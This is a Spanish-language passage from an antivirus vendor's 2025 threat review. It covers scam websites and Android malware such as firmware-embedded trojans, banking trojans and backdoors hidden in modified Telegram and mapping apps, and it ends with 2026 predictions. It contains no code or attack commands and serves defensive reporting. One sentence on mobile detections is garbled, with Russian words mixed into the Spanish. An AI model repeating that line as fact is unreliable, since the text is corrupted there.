Un sitio web fraudulento, dirigido a ciudadanos de Kirguistán, les ofrece «ganar dinero con el petróleo y el gas», prometiendo elevados ingresos

Volvieron a aparecer los sitios web fraudulentos que ofrecían obtener «ayudas estatales» en forma de pagos o compensaciones. Por ejemplo, en el segmento ruso de Internet se difundieron los recursos fraudulentos que supuestamente estaban relacionados con el portal Gosuslugi.

Un ejemplo de un sitio web fraudulento que supuestamente estaba vinculado al servicio Gosuslugi y prometía a los usuarios rusos pagos regulares por parte del Estado y de una gran empresa del sector del petróleo y el gas. Para «participar» en el programa de pagos, se solicitaban a la víctima sus datos personales

Nuestros expertos también destacaron la aparición de nuevos sitios web falsos de proyectos educativos. En ellos se ofrecía a los usuarios realizar diversos cursos de formación para mejorar su educación financiera, aprender una u otra profesión, etc. Para obtener «acceso» a la formación, a las posibles víctimas, al igual que en muchos otros esquemas similares, también se les solicitaba la información personal.

Un sitio web fraudulento proponía aprender inglés

Los analistas de Internet de Doctor Web detectaron nuevos sitios web fraudulentos dedicados a la venta de entradas de teatro. En estos recursos, los estafadores ofrecen a las posibles víctimas adquirir entradas a precios atractivos, pero una vez realizado el «pago» los usuarios no las reciben.

Un ejemplo de un sitio web fraudulento que vendía entradas de teatro no existentes

Además, también se difundieron nuevos sitios web falsos de cines privados. Al igual que en el caso de las entradas de teatro, los estafadores ofrecen a las posibles víctimas comprar entradas de cine, pero al final estas solo entregan su dinero a los delincuentes.

Un sitio web falso de un cine privado

Para dispositivos móviles

Согласно статистике детектирований Dr.Web Security Space для мобильных устройств, в 2025 году пользовател y Android чаще всего сталкивались с рекламным y троянам y Android.MobiDash y Android.HiddenAds, así como el malware Android.FakeApp, que en vez de la funcionalidad declarada puede cargar varios sitios web, así mismo, los fraudulentos y maliciosos. Se destacó un crecimiento de actividad de aplicaciones troyanas Android.Triada. Son amenazas multifuncionales que los malintencionados incrustan en el firmware de dispositivos en Android. Además, se observó un crecimiento del número de ataques de troyanos bancarios Android.Banker. Al mismo tiempo la actividad de los bankers Android.SpyMax, al contrario, bajó.

El año pasado los creadores de virus siguieron usando varias técnicas de protección de malware para el SO Android. Una de ellas fue el método de conversión del código DEX al código C (conocido como DCC o DEX to C).

Las aplicaciones no deseadas más populares fueron los programas Program.FakeMoney. Ofrecen a los usuarios realizar varias tareas a cambio de recompensas virtuales y prometen la posibilidad de convertir dichas recompensas en dinero real. Sin embargo, en realidad no existe tal posibilidad. Además, en los dispositivos protegidos se detectaban con frecuencia las aplicaciones Program.FakeAntiVirus.1 y Program.CloudInject.1. Los primeros imitan el funcionamiento de los antivirus y detectan amenazas inexistentes, ofreciendo «eliminar» la infección mediante la compra de la versión completa del software. Los segundos son aplicaciones que han sido modificadas a través de un popular servicio en la nube. Durante la modificación, se les añaden permisos de sistema peligrosos y código ofuscado, cuya finalidad no puede controlarse.
Los programas modificados mediante la utilidad NP Manager (detectados como Tool.NPMod) se convirtieron en el software potencialmente peligroso más popular. Esta utilidad ofusca el código de las aplicaciones modificadas y permite esquivar la verificación de su firma digital. El tipo de adware más activo en 2025 fueron las modificaciones no oficiales de WhatsApp (Adware.ModAd.1), que abren automáticamente los enlaces publicitarios durante el uso del messenger.

En el año 2025 se detectaron nuevos casos de infección del firmware de dispositivos en Android. Nuestra empresa informó de uno de ellos en abril. Los malintencionados preinstalaron el malware Android.Clipper.31 en el área de sistema de algunos modeles de smartphones económicos y con el mismo robaban la criptomoneda de los usuarios. Otros atacantes consiguieron implementar los troyanos peligrosos Android.Triada en el firmware de otros modelos de smartphones en Android. Además, se registraron más casos de infección del firmware de consolas TV en Android con nuevas versiones del troyano Android.Vo1d, detectado por nuestra empresa en el año 2024.

Durante el año pasado el laboratorio antivirus de Doctor Web detectó algunos tipos de malware peligroso. En abril informamos sobre el troyano Android.Spy.1292.origin, que se ocultaba en una versión modificada por los creadores de malware de la aplicación cartográfica Alpine Quest y atacaba a militares rusos. Android.Spy.1292.origin transfería a los delincuentes los datos sobre el número de teléfono móvil y las cuentas del usuario, recopilaba los contactos de la agenda, la geolocalización del dispositivo infectado y la información sobre los archivos almacenados en él. También podía robar determinados archivos por orden de los atacantes. Estos se interesaban principalmente por documentos confidenciales transmitidos a través de messengers, así como por el archivo del registro de ubicaciones de la aplicación cartográfica Alpine Quest.

En agosto nuestros expertos advirtieron del backdoor Android.Backdoor.916.origin propagado por los malintencionados camuflado como un antivirus, a través de los mensajes personales en messengers. Android.Backdoor.916.origin roba la información privada y permite supervisar a los usuarios. El objetivo principal de este backdoor fueron los empleados de negocios rusos.

En octubre informamos sobre el backdoor multifuncional Android.Backdoor.Baohuo.1.origin, detectado por nuestros analistas de virus en las versiones modificadas del messenger Telegram X. Este malware también se usa para robar los datos privados, incluidos los nombres de usuario y contraseñas de Telegram, los SMS entrantes, la mensajería en Messenger y los datos del portapapeles. Así mismo, el backdoor permite a los malintencionados administrar el Messenger totalmente y controlar la cuenta hackeada de Telegram de la víctima. Para administrar el backdoor los ciberdelincuentes usaron tanto el servidor C2 como la base de datos Redis, lo cual no se detectaba anteriormente en amenazas en Android. Android.Backdoor.Baohuo.1.origin fue destinado sobre todo a los residentes de Indonesia y Brasil.

Para más información sobre los eventos de virus para dispositivos móviles en el año 2025 consulte nuestro informe.

Perspectivas y probables tendencias

En el nuevo año 2026, una de las amenazas más populares para los usuarios probablemente seguirá siendo la de los troyanos publicitarios, mediante los cuales los delincuentes obtienen ingresos ilícitos. Es previsible que los ciberdelincuentes recurran con mayor frecuencia a aplicaciones troyanas bancarias, que también les permiten lucrarse.
Es posible que continúe aumentando la popularidad de varias herramientas y métodos destinados a ocultar la actividad maliciosa. Entre ellos cabe destacar el uso de empaquetadores y ofuscadores, la utilización de malware tipo dropper y de cargadores multietapa, así como el empleo de esteganografía para ocultar la carga maliciosa. Además, en la creación de software malicioso, los ciberdelincuentes —incluidos aquellos con poca experiencia en programación— recurrirán cada vez más a asistentes basados en inteligencia artificial. Como resultado, surgirán nuevas familias de malware y el número de amenazas aumentará.
Los organismos públicos y las estructuras corporativas volverán a estar en el punto de mira, lo que dará lugar a nuevos ataques dirigidos. También son probables nuevos casos de infección del firmware de smartphones Android, decodificadores de TV y otros tipos de dispositivos móviles, especialmente en el segmento de bajo coste. La actividad de los estafadores en Internet se mantendrá.